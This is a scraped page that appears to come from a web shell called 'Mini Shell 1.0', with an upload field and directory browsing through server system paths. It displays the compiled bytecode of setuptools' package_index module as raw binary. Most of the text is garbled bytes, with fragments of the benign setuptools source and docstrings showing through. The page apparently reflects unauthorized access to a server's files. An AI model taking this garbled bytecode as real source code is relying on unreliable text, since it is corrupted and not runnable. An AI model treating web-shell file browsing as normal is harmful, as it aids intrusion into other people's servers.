HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/setuptools/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/setuptools/__pycache__/package_index.cpython-311.pyc
�

�5sg������dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlZddlmZddlZddlmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%ddl&m'Z'ddl(m)Z)ddl*m+Z+ddl,m-Z-dd	l.m/Z/ej0d
��Z1ej0dej2��Z3ej0d��Z4ej0d
ej2��j5Z6d�7��Z8gd�Z9dZ:dZ;e;�<dj<ej=�e���Z>d�Z?d�Z@d�ZAd1d�ZBd1d�ZCd1d�ZDdedfd�ZEd�ZFej0dej2��ZG	eFd���ZHGd�d��ZIGd �d!eI��ZJGd"�d#e��ZKej0d$��jLZMd%�ZNd&�ZOd2d'�ZPd(�ZQGd)�d*��ZRGd+�d,ejS��ZTejUjVfd-�ZWd.�ZXePe:��eW��ZWd/�ZYd0�ZZdS)3z$PyPI and direct package downloading.�N��wraps)�
CHECKOUT_DIST�Distribution�BINARY_DIST�normalize_path�SOURCE_DIST�Environment�find_distributions�	safe_name�safe_version�to_filename�Requirement�DEVELOP_DIST�EGG_DIST�
parse_version)�log)�DistutilsError)�	translate)�Wheel��unique_everseenz^egg=([-A-Za-z0-9_.+!]+)$zhref\s*=\s*['"]?([^'"> ]+)z�<a href="([^"#]+)">([^<]+)</a>\n\s+\(<a (?:title="MD5 hash"\n\s+)href="[^?]+\?:action=show_md5&amp;digest=([0-9a-f]{32})">md5</a>\)z([-+.a-z0-9]{2,}):z.tar.gz .tar.bz2 .tar .zip .tgz)�PackageIndex�distros_for_url�parse_bdist_wininst�interpret_distro_name�z<setuptools/{setuptools.__version__} Python-urllib/{py_major}z{}.{})�py_major�
setuptoolsc�v�	tj|��S#t$r}td|����|�d}~wwxYw)Nz/Not a URL, existing file, or requirement spec: )r�parse�
ValueErrorr)�spec�es  �:/usr/lib/python3/dist-packages/setuptools/package_index.py�parse_requirement_argr&FsV���� ��&�&�&�������n�CG�4�I�
�
��	��������s��
8�3�8c��|���}d\}}}|�d��r�|�d��r
|dd�}d}n{|�dd��r|d	d
�}|dd�}d}nN|�d��r
|dd�}d
}n,|�dd��r|d	d
�}|dd�}d
}|||fS)z=Return (base,pyversion) or (None,None) for possible .exe name)NNN�.exez
.win32.exeNi�����win32z	.win32-pyi�i�������z.win-amd64.exei�z	win-amd64z
.win-amd64-pyi��)�lower�endswith�
startswith)�namer+�base�py_ver�plats     r%rrOs���
�J�J�L�L�E�)��D�&�$��~�~�f�����>�>�,�'�'�
	�����:�D��D�D�
�
�
�k�3�
/�
/�
	��"�R�%�[�F�����:�D��D�D�
�^�^�,�
-�
-�	�����:�D��D�D�
�
�
�o�s�
3�
3�	��"�R�%�[�F�����:�D��D������c��tj�|��}|\}}}}}}tj�|�d��d��}|dkr>|dkr8tj�|�d��d��}d|vr|�dd��\}}||fS)N�/���zsourceforge.net�download����#�)�urllibr!�urlparse�unquote�split)	�url�parts�scheme�server�path�
parameters�query�fragmentr/s	         r%�egg_info_for_urlrFgs����L�!�!�#�&�&�E�8=�5�F�F�D�*�e�X��<����
�
�3���� 3�4�4�D�
�"�"�"�t�z�'9�'9��|�#�#�D�J�J�s�O�O�B�$7�8�8��
�d�{�{����C��+�+���h���>�r2c#�K�t|��\}}t|||��D]}|V��|rNt�|��}|r4t	||�d��|t���D]
}|V��dSdSdS)zEYield egg or source distribution objects that might be found at a URLr9)�
precedenceN)rF�distros_for_location�EGG_FRAGMENT�matchr�groupr)r>�metadatar/rE�distrKs      r%rrrs�����%�c�*�*�N�D�(�$�S�$��9�9�����
�
�
�
����"�"�8�,�,���	�-��U�[�[��^�^�X�-����
�
���
�
�
�
�
��	�	�
�
r2c��|�d��r
|dd�}|�d��rd|vrtj|||��gS|�d��rOd|vrKt|��}|���sgSt||j|jtdz���gS|�d	��r.t|��\}}}|�t||||t|��StD]B}|�|��r+|dt|���}t|||��cS�CgS)
z:Yield egg or source distribution objects based on basename�.egg.zipNr*z.egg�-z.whlr9)�location�project_name�versionrHr()
r,r�
from_locationr�
is_compatiblerSrTrrrr�
EXTENSIONS�len)rR�basenamerM�wheel�win_baser0�platform�exts        r%rIrI�s�������$�$�!��C�R�C�=������ � �J�S�H�_�_��*�8�X�x�H�H�I�I����� � �
�S�H�_�_��h�����"�"�$�$�	��I��!�"�/��
�#�a�<�
�
�
�
�	
����� � ��%8��%B�%B�"��&�(���(��(�H�f�k�8���
�
�G�G�����S�!�!�	G���3�s�8�8�)��,�H�(��8�X�F�F�F�F�F�	G��Ir2c�x�tt|��tj�|��|��S)zEYield possible egg or source distribution objects based on a filename)rIr�osrBrY)�filenamerMs  r%�distros_for_filenamera�s3����x� � �"�'�"2�"2�8�"<�"<�h���r2c
#�K�|�d��}|s#td�|dd�D����rdStt|����D]&}||dd����rn�'t|��}t||d�|d|���d�||d���|||���V�dS)z�Generate the interpretation of a source distro name

    Note: if `location` is a filesystem filename, you should call
    ``pkg_resources.normalize_path()`` on it before passing it to this
    routine!
    rQc3�@K�|]}tjd|��V��dS)z	py\d\.\d$N)�rerK)�.0�ps  r%�	<genexpr>z(interpret_distro_name.<locals>.<genexpr>�s.����K�K�A�b�h�|�Q�7�7�K�K�K�K�K�Kr2�Nr9)�
py_versionrHr\)r=�any�rangerX�isdigitr�join)rRrYrMrirHr\r?rfs        r%rr�s
����
�N�N�3���E���#�K�K��q�r�r��K�K�K�K�K�����3�u�:�:�
�
������8�B�Q�B�<���!�!�	��E�	�
��J�J��
�������r��r��������q�r�r��������������r2c�<��t����fd���}|S)zs
    Wrap a function returning an iterable such that the resulting iterable
    only ever yields unique items.
    c�.��t�|i|����S�Nr)�args�kwargs�funcs  �r%�wrapperzunique_values.<locals>.wrapper�s ����t�t�T�4�V�4�4�5�5�5r2r)rsrts` r%�
unique_valuesru�s5����4�[�[�6�6�6�6��[�6��Nr2z3<([^>]*\srel\s{0,10}=\s{0,10}['"]?([^'" >]+)[^>]*)>c
#��K�t�|��D]�}|���\}}tt	t
j|����d������}d|vsd|vr_t�|��D]D}tj�|t|�d������V��E��dD]|}|�|��}|dkr_t�||��}|rBtj�|t|�d������V��}dS)zEFind rel="homepage" and rel="download" links in `page`, yielding URLs�,�homepager6r9)z
<th>Home Pagez<th>Download URLr5N)�REL�finditer�groups�set�map�str�stripr+r=�HREFr:r!�urljoin�
htmldecoderL�find�search)r>�pagerK�tag�rel�rels�poss       r%�find_external_linksr��sM�������d�#�#�L�L���<�<�>�>���S��3�s�y�#�)�)�+�+�"3�"3�C�"8�"8�9�9�:�:�������t�!3�!3����s�+�+�
L�
L���l�*�*�3�
�5�;�;�q�>�>�0J�0J�K�K�K�K�K�K��4�L�L���i�i��n�n���"�9�9��K�K��c�*�*�E��
L��l�*�*�3�
�5�;�;�q�>�>�0J�0J�K�K�K�K�K��L�Lr2c�$�eZdZdZd�Zd�Zd�ZdS)�ContentCheckerzP
    A null content checker that defines the interface for checking content
    c��dS)z3
        Feed a block of data to the hash.
        N���self�blocks  r%�feedzContentChecker.feed�s	��	�r2c��dS)zC
        Check the hash. Return False if validation fails.
        Tr��r�s r%�is_validzContentChecker.is_valid�s	���tr2c��dS)zu
        Call reporter with information about the checker (hash name)
        substituted into the template.
        Nr�)r��reporter�templates   r%�reportzContentChecker.reports	��
	�r2N)�__name__�
__module__�__qualname__�__doc__r�r�r�r�r2r%r�r��sK������������������r2r�c�\�eZdZejd��Zd�Zed���Zd�Z	d�Z
d�ZdS)�HashCheckerzK(?P<hash_name>sha1|sha224|sha384|sha256|sha512|md5)=(?P<expected>[a-f0-9]+)c�T�||_tj|��|_||_dSrp)�	hash_name�hashlib�new�hash�expected)r�r�r�s   r%�__init__zHashChecker.__init__s%��"����K�	�*�*��	� ��
�
�
r2c���tj�|��d}|st��S|j�|��}|st��S|di|�����S)z5Construct a (possibly null) ContentChecker from a URLr5r�)r:r!r;r��patternr��	groupdict)�clsr>rErKs    r%�from_urlzHashChecker.from_urls{���<�(�(��-�-�b�1���	$�!�#�#�#���"�"�8�,�,���	$�!�#�#�#��s�'�'�U�_�_�&�&�'�'�'r2c�:�|j�|��dSrp)r��updater�s  r%r�zHashChecker.feed!s���	��������r2c�F�|j���|jkSrp)r��	hexdigestr�r�s r%r�zHashChecker.is_valid$s���y�"�"�$�$��
�5�5r2c�,�||jz}||��Srp)r�)r�r�r��msgs    r%r�zHashChecker.report's�����'���x��}�}�r2N)r�r�r�rd�compiler�r��classmethodr�r�r�r�r�r2r%r�r�s��������b�j�	#���G�
!�!�!�
�(�(��[�(� � � �6�6�6�����r2r�c�B��eZdZdZ				d,�fd�	Z�fd�Zd-d	�Zd-d
�Zd-d�Zd�Z	d
�Z
d�Zd�Zd�Z
d.d�Zd�Zd.�fd�	Zd�Zd�Zd�Zd�Zd�Z				d/d�Zd0d�Zd�ZdZd�Zd�Zd.d�Zd �Zed!���Zd"�Z d#�Z!d$�Z"d%�Z#d&�Z$d'�Z%ed(���Z&d)�Z'd*�Z(d+�Z)�xZ*S)1rz;A distribution index that scans web pages for download URLs�https://pypi.org/simple/��*NTc�r��t��j|i|��|dd|�d���z|_i|_i|_i|_tjd�	tt|������j|_
g|_tjj|_dS)Nr4�|)�superr�r,�	index_url�scanned_urls�fetched_urls�
package_pagesrdr�rmr}rrK�allows�to_scanr:�request�urlopen�opener)r�r��hosts�	ca_bundle�
verify_sslrq�kw�	__class__s       �r%r�zPackageIndex.__init__/s����	�����$�%�"�%�%�%�"�S�)F�y�/A�/A�#�/F�/F�+F�)F�%G�G�������������j����#�i��*?�*?�!@�!@�A�A�G�������n�,����r2c���	t|j��n#t$rYdSwxYwt���|��Srp)rrT�	Exceptionr��add)r�rNr�s  �r%r�zPackageIndex.addAsS���	��$�,�'�'�'�'���	�	�	��F�F�	�����w�w�{�{�4� � � s��
&�&Fc	��||jvr|sdSd|j|<t|��s|�|��dStt	|����}|r-|�|��sdS|�d|��|s|r	||jvr$tt|j	|����dS|�|��sd|j|<dS|�
d|��d|j|<d}|�|||z��}|�dSt|tjj��r(|jdkr|�
d|jz��d|j|j<d|j�d	d
�����vr|���dS|j}|���}t|t0��sTt|tjj��rd}n|j�d��pd}|�|d
��}|���t6�|��D]W}	tj�|t?|	� d������}
|�!|
���X|�"|j#��r-tI|dd��dkr|�%||��}dSdSdS)z<Evaluate a URL as a possible download, and maybe retrieve itNTzFound link: %sz
Reading %sz<Download error on %s: %%s -- Some packages may not be found!i�zAuthentication error: %s�html�content-type�zlatin-1�charset�ignorer9�code�)&r��
URL_SCHEME�process_filename�listr�url_ok�debugr�r}r��info�open_url�
isinstancer:�error�	HTTPErrorr�r�r>�headers�getr+�close�readr~�	get_param�decoder�rzr!r�r�rL�process_urlr-r��getattr�
process_index)r�r>�retrieve�dists�tmpl�fr/r�r�rK�links           r%r�zPackageIndex.process_urlJs����$�#�#�#�H�#��F�!%���#���#���	2��!�!�#�&�&�&��F����-�-�.�.�E��
2��{�{�3�'�'���F��
�
�+�S�1�1�1��	��	�C�4�+<�$<�$<���T�X�u�%�%�&�&�&��F��{�{�3���	�%)�D��c�"��F��	�	�,��$�$�$�!%���#��M���M�M�#�t�c�z�*�*���9��F��a���/�0�0�	:�Q�V�s�]�]��I�I�0�1�5�8�9�9�9�#'���!�%� ������~�r�:�:�@�@�B�B�B�B�
�G�G�I�I�I��F��u���v�v�x�x���$��$�$�	2��!�V�\�3�4�4�
F�#����)�-�-�i�8�8�E�I���;�;�w��1�1�D�	���	�	�	��]�]�4�(�(�	#�	#�E��<�'�'��j����Q���.H�.H�I�I�D����T�"�"�"�"��>�>�$�.�)�)�	1�g�a���.F�.F�#�.M�.M��%�%�c�4�0�0�D�D�D�	1�	1�.M�.Mr2c� �tj�|��s|�d|��dStj�|��rl|sjtj�|��}tj|��D]6}|�tj�||��d���7t|��}|r:|�
d|��tt|j
|����dSdS)Nz
Not found: %sTz	Found: %s)r_rB�exists�warn�isdir�realpath�listdirr�rmrar�r�r}r�)r��fn�nestedrB�itemr�s      r%r�zPackageIndex.process_filenames����w�~�~�b�!�!�	��I�I�o�r�*�*�*��F�
�7�=�=����	F�V�	F��7�#�#�B�'�'�D��
�4�(�(�
F�
F���%�%�b�g�l�l�4��&>�&>��E�E�E�E�$�R�(�(���	'��J�J�{�B�'�'�'���T�X�u�%�%�&�&�&�&�&�	'�	'r2c�N�t|��}|o*|�d�����dk}|s8|�tj�|��d��rdSd}|rt||z���|�||��dS)Nr9�fileTzN
Note: Bypassing %s (disallowed host; see http://bit.ly/2hrImnY for details).
)	r�rLr+r�r:r!r;rr�)r�r>�fatal�s�is_filer�s      r%r�zPackageIndex.url_ok�s����s�O�O���4�����
�
�(�(�*�*�f�4���	�d�k�k�&�,�"7�"7��"<�"<�Q�"?�@�@�	��4�
4�	��	 � ��s��+�+�+��I�I�c�3�����r2c��ttjj|��}d�|D��}t	tj|j|����dS)Nc3�vK�|]4}tj|��D]}|�d���||fV���5dS)z	.egg-linkN)r_r�r,)rerB�entrys   r%rgz.PackageIndex.scan_egg_links.<locals>.<genexpr>�sm����
�
����D�)�)�
�
���~�~�k�*�*�	
�
�5�M�
�
�
�
�
�
�
r2)�filterr_rBr�r��	itertools�starmap�
scan_egg_link)r��search_path�dirs�	egg_linkss    r%�scan_egg_linkszPackageIndex.scan_egg_links�sY���b�g�m�[�1�1��
�
��
�
�
�	�	
�Y�
�t�1�9�
=�
=�>�>�>�>�>r2c
��ttj�||����5}t	tdt
tj|������}ddd��n#1swxYwYt|��dkrdS|\}}ttj�||����D]?}tjj|g|�R�|_t|_
|�|���@dS)Nrh)�openr_rBrmr�r�r}r~rrXrrRr	rHr�)r�rBr��	raw_lines�lines�egg_path�
setup_pathrNs        r%rzPackageIndex.scan_egg_link�s)��
�"�'�,�,�t�U�+�+�
,�
,�	B�	����c�#�)�Y�&?�&?�@�@�A�A�E�	B�	B�	B�	B�	B�	B�	B�	B�	B�	B�	B����	B�	B�	B�	B��u�:�:��?�?��F�$���*�&�r�w�|�|�D�(�'C�'C�D�D�	�	�D��G�L��6��6�6�6�D�M�)�D�O��H�H�T�N�N�N�N�	�	s�6A0�0A4�7A4c	��d}|�|j��s|Stttjj|t|j��d��d������}t|��dks
d|dvr|St|d��}t|d��}d|j�|�
��i��|<t|��t|��fS)N)NNr4rhr8r9rT)r-r�r�r}r:r!r<rXr=rr
r��
setdefaultr+r)r�r��NO_MATCH_SENTINELr?�pkg�vers      r%�_scanzPackageIndex._scan�s���&�����t�~�.�.�	%�$�$��S���-�t�C���4G�4G�4I�4I�/J�/P�/P�QT�/U�/U�V�V�W�W���u�:�:��?�?�c�U�1�X�o�o�$�$���a��!�!���5��8�$�$��?C���%�%�c�i�i�k�k�2�6�6�t�<��3����S�!1�!1�1�1r2c�\�t�|��D]f}	|�tj�|t
|�d���������W#t$rY�cwxYw|�|��\}}|sdSt||��D]c}t|��\}}|�d��r%|s#|r|d|�d|��z
}n|�|��|�
|���dt�d�|��S)z#Process the contents of a PyPI pager9r��.pyz#egg=rQc�6�d|�ddd��zS)Nz<a href="%s#md5=%s">%s</a>r9�rh)rL)�ms r%�<lambda>z,PackageIndex.process_index.<locals>.<lambda>�s��2�Q�W�W�Q��1�5E�5E�E�r2)r�rzrr:r!r�r�rLr"r�rFr,�need_version_info�scan_url�PYPI_MD5�sub)	r�r>r�rKrr�new_urlr/�frags	         r%r�zPackageIndex.process_index�sN���]�]�4�(�(�	�	�E�
��
�
�6�<�/�/��Z����A���5O�5O�P�P�Q�Q�Q�Q���
�
�
���
�����:�:�c�?�?���S��	��2�+�3��5�5�	#�	#�G�)�'�2�2�J�D�$��}�}�U�#�#�
0�D�
0��0��G�s�s�s�C�C�8�8�G�G��*�*�3�/�/�/��M�M�'�"�"�"�"��|�|�E�E�t�
�
�	
s�AA2�2
A?�>A?c�2�|�d|��dS)NzPPage at %s links to .py file(s) without version info; an index scan is required.)�scan_all�r�r>s  r%rzPackageIndex.need_version_info�s*���
�
�
 ��	
�	
�	
�	
�	
r2c��|j|jvr%|r|j|g|�R�|�d��|�|j��dS)Nz6Scanning index of all packages (this may take a while))r�r�r�r�r�r�r�rqs   r%rzPackageIndex.scan_all�sa���>��!2�2�2��
&���	�#�%��%�%�%�%��I�I�N�O�O�O��
�
�d�n�%�%�%�%�%r2c���|�|j|jzdz��|j�|j��s%|�|j|jzdz��|j�|j��s|�|��t|j�|jd����D]}|�|���dS)Nr4r�)	rr��unsafe_namer�r��keyrS�not_found_in_indexr�)r��requirementr>s   r%�
find_packageszPackageIndex.find_packages�s����
�
�d�n�{�'>�>��D�E�E�E��!�%�%�k�o�6�6�	K��M�M�$�.�;�+C�C�c�I�J�J�J��!�%�%�k�o�6�6�	1��#�#�K�0�0�0���*�.�.�{���C�C�D�D�	�	�C��M�M�#�����	�	r2c���|���|�|��||jD]!}||vr|cS|�d||���"t	t
|���||��S)Nz%s does not match %s)�prescanr'r$r�r�r�obtain)r�r&�	installerrNr�s    �r%r*zPackageIndex.obtains�������������;�'�'�'����)�	B�	B�D��{�"�"������J�J�-�{�D�A�A�A�A��\�4�(�(�/�/��Y�G�G�Gr2c�2�|�|jd|z��|���sd|���t	j|��t
|jj�dtj	�
|���d����dS)z-
        checker is a ContentChecker
        zValidating %%s checksum for %sz validation failed for z; possible download problem?N)r�r�r�r�r_�unlinkrr�r.rBrY)r��checkerr`�tfps    r%�
check_hashzPackageIndex.check_hash
s���	���t�z�#C�h�#N�O�O�O����!�!�	��I�I�K�K�K��I�h���� ��<�$�$�$�b�g�&6�&6�x�&@�&@�&@�&@�B���
�	�	r2c��|D]y}|j�@t|��r1|�d��stt	|����r|�|���_|j�|���zdS)z;Add `urls` to the list that will be prescanned for searchesN�file:)r�r�r-r�rr�append)r��urlsr>s   r%�add_find_linkszPackageIndex.add_find_linkss����	)�	)�C���$�!�#���%��>�>�'�*�*�%����,�,�-�-�%��
�
�c�"�"�"�"���#�#�C�(�(�(�(�	)�	)r2c�p�|jr'tt|j|j����d|_dS)z7Scan urls scheduled for prescanning (e.g. --find-links)N)r�r�r}rr�s r%r)zPackageIndex.prescan's3���<�	3���T�]�D�L�1�1�2�2�2�����r2c��||jr
|jd}}n	|jd}}|||j��|���dS)Nz#Couldn't retrieve index page for %rz3Couldn't find index page for %r (maybe misspelled?))r$r�r�r#r)r�r&�methr�s    r%r%zPackageIndex.not_found_in_index-sX����� �	��	�#H�#�D�D��	�E��D�	
��S�+�)�*�*�*��
�
�����r2c��t|t��s�t|��}|rV|�||��}t	|��\}}|�d��r|�|||��}|Stj�	|��r|St|��}t|�||��dd��S)aLocate and/or download `spec` to `tmpdir`, returning a local path

        `spec` may be a ``Requirement`` object, or a string containing a URL,
        an existing local filename, or a project/version requirement spec
        (i.e. the string form of a ``Requirement`` object).  If it is the URL
        of a .py file with an unambiguous ``#egg=name-version`` tag (i.e., one
        that escapes ``-`` as ``_`` throughout), a trivial ``setup.py`` is
        automatically created alongside the downloaded file.

        If `spec` is a ``Requirement`` object or a string containing a
        project/version requirement spec, this method returns the location of
        a matching distribution (possibly after downloading it to `tmpdir`).
        If `spec` is a locally existing file or directory name, it is simply
        returned unchanged.  If `spec` is a URL, it is downloaded to a subpath
        of `tmpdir`, and the local filename is returned.  Various errors may be
        raised if a problem occurs during downloading.
        rrRN)
r�rr��
_download_urlrFr,�	gen_setupr_rBr�r&r��fetch_distribution)r�r#�tmpdirr@�foundr/rEs       r%r6zPackageIndex.download8s���$�$��,�,�
	3���%�%�F��
3��*�*�4��8�8��!1�$�!7�!7���h��=�=��'�'�D� �N�N�5�(�F�C�C�E��������%�%�
3���,�T�2�2���t�.�.�t�V�<�<�j�$�O�O�Or2c������	���d|��i�	d}d	���	��fd�	}|r4������|��||��}|s|�|||��}|�&�j�����||��}|�"|s ��|��||��}|���d�rdpd|��dS��d|��|�|j���S)
a|Obtain a distribution suitable for fulfilling `requirement`

        `requirement` must be a ``pkg_resources.Requirement`` instance.
        If necessary, or if the `force_scan` flag is set, the requirement is
        searched for in the (online) package index as well as the locally
        installed packages.  If a distribution matching `requirement` is found,
        the returned distribution's ``location`` is the value you would have
        gotten from calling the ``download()`` method with the matching
        distribution's URL or filename.  If no matching distribution is found,
        ``None`` is returned.

        If the `source` flag is set, only source distributions and source
        checkout links will be considered.  Unless the `develop_ok` flag is
        set, development and system eggs (i.e., those using the ``.egg-info``
        format) will be ignored.
        zSearching for %sNc�Z��|��}||jD]�}|jtkr"�s |�vr��d|��d�|<�4||vo|jtkp�}|rJ��|j�	��}||_tj	�
|j��r|cS��dS)Nz&Skipping development or system egg: %sr9)r$rHrr�r	r6rR�download_locationr_rBr�)
�req�envrN�test�loc�
develop_okr��skipped�sourcer=s
     �����r%r�z-PackageIndex.fetch_distribution.<locals>.findxs�����{����C�G��
$�
$���?�l�2�2�:�2��7�*�*��	�	�D� ����)*���
���s�{�U���;�(F�(T�f�*���$��-�-��
�v�>�>�C�-0�D�*��w�~�~�d�&<�=�=�$�#�����!
$�
$r2z:No local packages or working download links found for %s%sza source distribution of r�zBest match: %s)rRrp)r�r)r'r�r��clonerA)
r�r&r=�
force_scanrHrF�local_indexrNr�rGs
` ` ``   @r%r<zPackageIndex.fetch_distributionZsn�������4	
�	�	�$�k�2�2�2�����	$�	$�	$�	$�	$�	$�	$�	$�	$�	$�.�	%��L�L�N�N�N����{�+�+�+��4��$�$�D��	2��/��4��[�1�1�D��<��|�'��������4��$�$�D��<�
�<����{�+�+�+��4��$�$�D��<��I�I�L��7�7�=�2��
�
�
�
�
�
�I�I�&��-�-�-��:�:�t�'=�:�>�>�>r2c�H�|�||||��}|�|jSdS)a3Obtain a file suitable for fulfilling `requirement`

        DEPRECATED; use the ``fetch_distribution()`` method now instead.  For
        backward compatibility, this routine is identical but returns the
        ``location`` of the downloaded distribution instead of a distribution
        object.
        N)r<rR)r�r&r=rJrHrNs      r%�fetchzPackageIndex.fetch�s0���&�&�{�F�J��O�O�����=� ��tr2c��t�|��}|r.d�t||�d��d��D��pg}t	|��dk�rXt
j�|��}t
j�|��|krvt
j�	||��}t
j�
|��r t
j�||��stj
||��|}tt
j�	|d��d��5}|�d|dj�d|dj�dt
j�|��d�d	���ddd��n#1swxYwY|S|rt'd
|�d|�����t'd���)
Nc� �g|]}|j�	|��Sr�)rT)re�ds  r%�
<listcomp>z*PackageIndex.gen_setup.<locals>.<listcomp>�s0�������9�����r2r9zsetup.py�wz(from setuptools import setup
setup(name=rz
, version=z, py_modules=[z])
z9Can't unambiguously interpret project/version identifier zI; any dashes in the name or version should be escaped using underscores. zpCan't process plain .py files without an '#egg=name-version' suffix to enable automatic setup script generation.)rJrKrrLrXr_rBrY�dirnamermr��samefile�shutil�copy2r�writerSrT�splitextr)	r�r`rEr=rKr�rY�dstr�s	         r%r;zPackageIndex.gen_setup�s���"�"�8�,�,���
���.�x����Q����N�N����
��	��u�:�:��?�?��w�'�'��1�1�H��w���x�(�(�F�2�2��g�l�l�6�8�4�4������s�+�+�#���0@�0@��3�0O�0O�#��L��3�/�/�/�"�H��b�g�l�l�6�:�6�6��<�<�	
���
�
�
��a��-�-�-��a��(�(�(���(�(��2�2�1�5�5�5�����	
�	
�	
�	
�	
�	
�	
�	
�	
�	
�	
����	
�	
�	
�	
��O�
�
	� �.�&.�X�X�u�u�6���
�!�G���
s�AF,�,F0�3F0i c��|�d|��d}	t�|��}|�|��}t	|t
jj��r"td|�d|j	�d|j
�����|���}d}|j}d}d|vrP|�d��}	ttt|	����}|�|||||��t#|d	��5}
	|�|��}|rI|�|��|
�|��|dz
}|�|||||��nn�b|�|||
��ddd��n#1swxYwY||r|���SS#|r|���wwxYw)NzDownloading %szCan't download �: � rr5zcontent-lengthzContent-Length�wbTr9)r�r�r�r�r�r:r�r�rr�r��dl_blocksize�get_all�maxr}�int�
reporthookrr�r�rWr0r�)r�r>r`�fpr.r��blocknum�bs�size�sizesr/r�s            r%�_download_tozPackageIndex._download_to�s���	�	�"�C�(�(�(�
��	�!�*�*�3�/�/�G����s�#�#�B��"�f�l�4�5�5�
�$�n�25�#�#�r�w�w�w����G�����g�g�i�i�G��H��"�B��D��7�*�*����(8�9�9���3�s�E�?�?�+�+������X�x��T�B�B�B��h��%�%�

8����G�G�B�K�K�E������U�+�+�+��	�	�%�(�(�(� �A�
������X�x��T�J�J�J�J��������3�7�7�7�

8�

8�

8�

8�

8�

8�

8�

8�

8�

8�

8����

8�

8�

8�

8���
����
�
�
�
�
��r�
����
�
�
�
�
���s1�C3F8�
A;F�F8�F�F8�F�F8�8Gc��dSrpr�)r�r>r`rd�blksizerfs      r%rbzPackageIndex.reporthooks���r2c��|�d��rt|��S	t||j��S#tt
jjf$r]}d�d�|j	D����}|r|�
||��nt|�d|����|�Yd}~dSd}~wtj
j$r}|cYd}~Sd}~wtj
j$rD}|r|�
||j��ntd|�d|j����|�Yd}~dSd}~wt
jj$rC}|r|�
||j��nt|�d|j����|�Yd}~dSd}~wt
jjt(j
f$r:}|r|�
||��ntd|�d|����|�Yd}~dSd}~wwxYw)Nr2r\c�,�g|]}t|����Sr�)r~)re�args  r%rQz)PackageIndex.open_url.<locals>.<listcomp>s��7�7�7��C��H�H�7�7�7r2zDownload error for r[z7 returned a bad status line. The server might be down, )r-�
local_open�open_with_authr�r"�http�client�
InvalidURLrmrqr�rr:r�r��URLError�reason�
BadStatusLine�line�
HTTPException�socket)r�r>�warning�vr�s     r%r�zPackageIndex.open_urlso���>�>�'�"�"�	#��c�?�?�"�	T�!�#�t�{�3�3�3���D�K�2�3�	B�	B�	B��(�(�7�7���7�7�7�8�8�C��
B��	�	�'�3�'�'�'�'�$����S�S�%9�:�:��A�(�'�'�'�'�'������|�%�	�	�	��H�H�H�H�H�H������|�$�	�	�	��
��	�	�'�1�8�,�,�,�,�$�n�36�3�3����A�����-�,�,�,�,�,�����
�{�(�	�	�	��
��	�	�'�1�6�*�*�*�*�$�"%�#�#�q�v�v�/�����+�*�*�*�*�*�������)�6�<�8�	T�	T�	T��
T��	�	�'�1�%�%�%�%�$�n�C�C�C���%K�L�L�RS�S�&�%�%�%�%�%�����	T���sL�;�G�AB.�.G�C�G�G�#9D"�"G�98E7�7#G�/G�Gc�j�t|��\}}|r3d|vr.|�dd���dd��}d|v�.nd}|�d��r
|dd�}tj�||��}|�||��p|�||��S)Nz..�.�\�_�__downloaded__rPr*)rF�replacer,r_rBrm�
_download_vcs�_download_other)r�r>r=r.rEr`s      r%r:zPackageIndex._download_url1s���*�#�.�.���h��	$��$�,�,��|�|�D�#�.�.�6�6�t�S�A�A���$�,�,��$�D��=�=��$�$�	�����9�D��7�<�<���-�-���!�!�#�x�0�0�W�D�4H�4H��h�4W�4W�Wr2c��tj�|��j}|�d��\}}}tddgdgt
|��zz��}tt|h|z��d��S)a

        >>> rvcs = PackageIndex._resolve_vcs
        >>> rvcs('git+http://foo/bar')
        'git'
        >>> rvcs('hg+https://foo/bar')
        'hg'
        >>> rvcs('git:myhost')
        'git'
        >>> rvcs('hg:myhost')
        >>> rvcs('http://foo/bar')
        �+�svn�git�hgN)	r:r!�urlsplitr@�	partitionr|�bool�next�iter)r>r@�pre�sep�post�alloweds      r%�_resolve_vcszPackageIndex._resolve_vcsBsv����&�&�s�+�+�2���)�)�#�.�.���S�$��u�e�n��v��S�	�	�'9�9�:�:���D�#����)�)�4�0�0�0r2c���|�|��}|sdS|dkr|�||��S|�d��\}}}|�|��\}}|�d|�d|�d|����tj|dd||g��t|d|d	d|g|d
|ddd|d
g���}|�2|�d|����tj||��|S)Nr�r8zDoing z clone from � to rIz--quietz-C�checkoutz--cwd�upz-r�-q)r�r�z
Checking out )r��
_download_svnr��_vcs_split_rev_from_urlr��
subprocess�
check_call�dict)r�r>�
spec_filename�vcsr`r~�rev�co_commandss        r%r�zPackageIndex._download_vcsVs-������$�$���	��F��%�<�<��%�%�c�=�9�9�9�&�0�0��5�5���!�Q��/�/��4�4���S��	�	�?�3�?�?�C�?�?�X�?�?�@�@�@���s�G�Y��X�F�G�G�G���d�H�j�)�S�A��W�h��d�D�#�t�D�
�
�
���?��I�I�+�c�+�+�,�,�,��!�+�c�"2�3�3�3��r2c�0�tj�|��j}|dkrAtj�tj�|��j��S|�|d��|�	||��S)Nr�T)
r:r!r�r@r��url2pathnamer;rBr��_attempt_download)r�r>r`r@s    r%r�zPackageIndex._download_othermsx����&�&�s�+�+�2���V����>�.�.�v�|�/D�/D�S�/I�/I�/N�O�O�O����C������%�%�c�8�4�4�4r2c�2�|�|d��dS)NT)r�rs  r%rzPackageIndex.scan_urlus������d�#�#�#�#�#r2c��|�||��}d|�dd�����vr|�|||��S|S)Nr�r�r�)rhr�r+�_download_html)r�r>r`r�s    r%r�zPackageIndex._attempt_downloadxsY���#�#�C��2�2���W�[�[���4�4�:�:�<�<�<�<��&�&�s�G�X�>�>�>��Or2c�t�t|��}|D]m}|���rWtjd|��r@|���tj|��|�||��cSn�n|���tj|��td|z���)Nz <title>([^- ]+ - )?Revision \d+:zUnexpected HTML page found at )	rrrdr�r�r_r-r�r)r�r>r�r`r�rvs      r%r�zPackageIndex._download_htmls����H�~�~���	�	�D��z�z�|�|�
��9�@�$�G�G�=��J�J�L�L�L��I�h�'�'�'��-�-�c�8�<�<�<�<�<���
�	
�
�
����
�	�(�����=��C�D�D�Dr2c���tjdt��|�dd��d}d}|����d��r�d|vr�tj�|��\}}}}}}	|s�|�d��r�d	|d
d�vr�|d
